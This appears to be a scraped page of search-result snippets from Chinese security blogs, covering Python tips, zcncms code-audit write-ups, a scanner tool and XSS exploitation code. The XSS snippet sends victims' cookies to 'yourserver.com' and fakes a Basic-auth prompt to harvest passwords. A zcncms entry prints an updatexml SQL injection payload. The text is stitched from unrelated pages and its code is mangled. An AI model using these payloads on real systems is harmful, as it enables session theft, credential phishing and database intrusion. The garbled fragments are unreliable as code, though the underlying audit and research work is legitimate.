jinglingshu.org

blog.ourren.com

Python中的常用代码 - Ourren

http://blog.ourren.com/2015/07/19/pythonzhong-de-chang-yong-dai-ma

Input first = [1,2,3,4,5] second = [6,7,8,9,10] #output three = [7,9,11,13,15] # The zip function is useful here, used with a list comprehension. # add [x y for x, y in zip(first, second)] # other [x*y for x, y in zip(first, second)] [max(x,y) for x, y in zip(first, second)]. In list = ['1', '2', '1', '3'] in list = list(set(in list). From collections import Counter A = Counter({'a':1, 'b':2, 'c':3}) B = Counter({'b':3, 'c':4, 'd':5}) A B Counter({'c': 7, 'b': 5, 'd': 5, 'a': 1}). 20 could be change to a...

blog.ourren.com

Blog Archive - Ourren

http://blog.ourren.com/blog/archives

Measuring and Detecting Malware Downloads in Live Network Traffic. Understanding and Monitoring Embedded Web Scripts. Detecting Spammers on Twitter. On the Relations Between the Different Actors in the Spam Landscape. On the Arms Race in Spamming Botnet Mitigation. SecWiki:Latest Security Articles and Tools. Eyefoo Remove Ad Patch. Php Webshell Scan Tool. 编解码工具 DEncode1.1 更新. Practical Malware Analysis Chapter5 Summary. Practical Malware Analysis Part1总结.

wps2015.org

代码审计——zcncms后台SQL注入(一) | wps2015的博客

http://wps2015.org/2016/08/05/code-audit-of-zcncms1

If( strlen($ k) 0 & eregi(' (GLOBALS)',$ k) ). Preg match( '/ (GLOBALS)/i'. Request var not allow! Foreach(Array(' GET',' POST',' COOKIE') as $ request) 取消cookie自动生成变量. K = $ v) {. Strstr($ k, ' '. 123;$ k} = GetRequest($ v);. 过滤变量的key是 p 和 GLOBALS p 的形式，防止全局变量覆盖 并在函数. Time = time();. Id = intval($id);. Infoold = $menus- GetInfo( '. 123; / 毫无意义的比较. List = $menus- GetList( '. Parentid = $id ". Parent = $menus- GetInfo( '. Parentid); / 没有单引号. 0x03 全局过滤 08sec ids. Db string,$querytype= 'select'. Old pos = 0.

wps2015.org

Tag: php | wps2015的博客

http://wps2015.org/tags/php

wps2015.org

Tag: python | wps2015的博客

http://wps2015.org/tags/python

wps2015.org

XSS常见利用代码及原理 | wps2015的博客

http://wps2015.org/2016/12/12/usually-used-xss-code

Elesrc = "http:/ yourserver.com/xss/xss cookie/cookie1.php? Time; / cookie获取. Xml = ajax(); / 实例化ajax请求对象. Url = "http:/ yourserver.com/xss/xss cookie/cookie1.php? 若要传递的数据量较大，可利用 POST方法 xml.open("POST",url,true);xml.send("cookie=" cookie "&location=" locations);. Http:/ 192.168.1.1". SERVER[ 'PHP AUTH PW'. SERVER[ 'PHP AUTH USER'. Header( 'WWW-Authenticate: Basic realm="info you want"'. Header( 'HTTP/1.0 401 Unauthorized'. User = $ SERVER[ 'PHP AUTH USER'. Pass = $ SERVER[ 'PHP AUTH PW'. E1value = user;.

wps2015.org

Category: 代码审计 | wps2015的博客

http://wps2015.org/categories/代码审计

wps2015.org

Category: 漏洞分析 | wps2015的博客

http://wps2015.org/categories/漏洞分析

wps2015.org

LNScan--一个高效的信息探测脚本 | wps2015的博客

http://wps2015.org/2016/07/28/LNScan

对于信息安全工作者，快速了解一个ip段、ip列表或者域名列表的信息 端口、标题、敏感文件等 ，是进行安全检测的重要一环，LNScan正是为此而生，敏感文件扫描模块改自 BBScan. Ip段/文件 = title&常见端口扫描 = 提取web端口 = 敏感文件扫描 = 生成report.

wps2015.org

代码审计——zcncms几处漏洞合集(二) | wps2015的博客

http://wps2015.org/2016/08/09/code-audit-of-zcncms2

Where = ' 1 = 1 '. Where = " productid = '". Productid. "' ". Time = time();. Id = intval($id);. Infoold = $products photo- GetInfo( '. Productinfo = $products- GetInfo( '. Where = productid = .$productid. Products- GetInfo(, id = .$productid). Http:/ 127.0.0.1:8088/code audit/zcncms/admin/? Submit=&productid=12=@` '` and 1=(updatexml(1,concat(0x5e24,(select user() ,0x5e24),1) ;#@` '`. 在后台登陆文件 /include/admincontroller/login.php中，进行登陆是否成功后，设置模板文件为’login.tpl.php’. Loginerror = '用户名密码错误，请重新登陆.'. 将$sys[ clos...